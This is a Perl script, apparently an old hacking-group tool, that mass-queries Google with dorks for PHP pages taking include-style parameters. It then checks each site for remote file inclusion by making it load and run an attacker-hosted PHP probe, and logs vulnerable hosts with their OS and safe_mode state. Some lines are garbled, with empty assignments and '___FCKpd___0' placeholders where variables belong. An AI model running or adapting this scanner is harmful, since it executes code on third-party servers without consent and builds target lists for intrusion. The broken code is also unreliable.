perl 
 
# ================================================================ # 
#          Google-php-include-bugs searcher v 0.8                  # 
#                          (c)oded by drmist\STNC                  # 
#                          www.security-teams.net                  # 
#                                                                  # 
#                 ATTENTION. THIS SCRIPT IS PRIVATE.               # 
#              ONLY FOR STNC AND FRIENDS. NOT FOR SALE.            # 
#                                                                  # 
#  Usage: perl script.pl --log=<log-file> --url=<test-script-url>  # 
#  Test script:                                                    # 
#  <?php                                                           # 
#  error_reporting(0);                                             # 
#  $s = md5("STNC");                                               # 
#  $code = eregi("windows", php_uname())+                          # 
#  2*eregi("apache", getenv("SERVER_SOFTWARE"))+                   # 
#  4*ini_get('safe_mode'); echo $s."[$code]".$s;                   # 
#  ?>                                                              # 
# ================================================================ # 
 
use IO::Socket; 
 
@inc_bugs = ("page", "text", "print", "html", "url", "view", "show", "body", "cat", 
            "inc", "incl", "include", "read", "write", "data", "code", "fname", 
     "filename", "cont", "content", "menu", "open", "file", "id", "p", "f", 
     "seite", "pagina", "vista", "vue", "visao", "datei", "offnen", "corpo", 
     "corps", "ouvrir", "fichier", "abrir", "fichero", "inhalt", "contenu", 
     "conteudo"); 
 
@zones = ("au", "com", "net", "org", "de", "fr", "uk", "br", "am", 
         "info", "name", "aero", "biz", "edu", "ws", "in", 
  "cn", "us", "be", "it", "cc", "tv", "ru", "su", 
  "jp", "kz", "se", "is", "ca", "gs", "ms", "vg", 
  "be", "fi", "gov"); 
 
@ftypes = ("php", "php3"); 
 
$boundary = "ca73bad132fa0c99fe9ce9efe9029e21"; # md5("STNC"); 
 
for($i = 0; $i < @ARGV; $i++) 
{ 
 if($ARGV[$i] =~ /^--log=(.*)$/) { $log = $1; } 
 elsif($ARGV[$i] =~ /^--url=(.*)$/) {$script = $1; } 
} 
 
if(!($script && $log)){ usage(); exit; } 
 
foreach $inc(@inc_bugs) 
{ 
 foreach $zone(@zones) 
 { 
   foreach $ftype(@ftypes) 
   { 
     $request = "filetype:$ftype site:$zone inurl:$inc="; 
     print "\n[$request]\n"; 
 
     $request =~ s/(.)/sprintf("%%%02x",ord($1))/eg; 
     @dn = (); 
 
     for($i = 0;$i < 10; $i++) 
     { 
       @temp = get("http://www.google.com/search?filter=0&num=100&start=".$i. 
        "00&q=$request")  =~ /(http\:\/\/[a-z0-9\.\-\/\?\:\&\%\=\_]{5,})/gi; 
       foreach $url (@temp) 
{ 
  if($url !~ /($inc=[^\&]+)/i) { next; } 
  $left = 
; $right = 
; 
  if($url =~ /https?\:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\/search\?q=cache:/i){ next; } 
  if($url =~ /google\.com/i){ next; } 
 
  ($domain) = $url =~ /^http\:\/\/([a-z0-9\.\-]{5,})/; 
  if($domain =~ /^www\.(.+)$/) { $domain = $1; } 
  $f=0;foreach(@dn){if(
___FCKpd___0
 eq $domain){$f++;last;}}if($f){next;} 
  push @dn, $domain; 
 
  $print = "$left$inc=[INCLUDE]$right"; 
  if(($data) = get("$left$inc=$script\?$right") =~ /$boundary\[([0-9]+)\]$boundary/i) 
  { 
    $s = "$print - ".(($data % 2) ? "WINDOWS" : "UNIX").(($data > 3) ? ", SAFE_MODE" : "")."\n"; 
    $count++; 
    print "[$count] $s"; 
 
    open LOG, ">>$log"; 
    print LOG $s; 
    close LOG; 
  } 
  else { 
    print "$print - no bugs\n"; 
  } 
} 
     } 
   } 
 } 
} 
 
sub timeout() { close $sock; } 
 
sub get() 
{ 
 local $request = 
___FCKpd___0
[0]; 
 local $port = 80; 
 local $data = ""; 
 
 if(local($server, $url) = $request =~ /^http\:\/\/([^\/]+)\/(.+)$/) 
 { 
   if($server =~ /^([^\:]+)\:([0-9]{2,5})$/){ $server = $1; $port = $2; } 
 
   $sock = IO::Socket::INET->new( 
     PeerAddr => $server, 
     PeerPort => $port, 
     Proto => 'tcp', 
     Type => SOCK_STREAM, 
     TimeOut => $timeout 
   ) or return 0; # connection failed 
 
   print $sock "GET /$url HTTP/1.0\r\nHost: $server\r\n\r\n"; 
 
   $SIG{ALRM} = \&timeout; alarm 10; 
   while(<$sock>){ $data .= 
___FCKpd___0
; } 
   alarm 0; close $sock; 
 } 
 
 return $data; 
} 
 
sub usage() 
{ 
 
print qq(Usage: perl $0 --log=<log-file> --url=<url-of-test-script-source> 
Test script: 
<?php 
error_reporting(0); 
\$s = md5("STNC"); 
\$code = eregi("windows", php_uname())+ 
2*eregi("apache", getenv("SERVER_SOFTWARE"))+ 
4*ini_get('safe_mode'); echo \$s."[\$code]".\$s; 
?> 
); 
 
}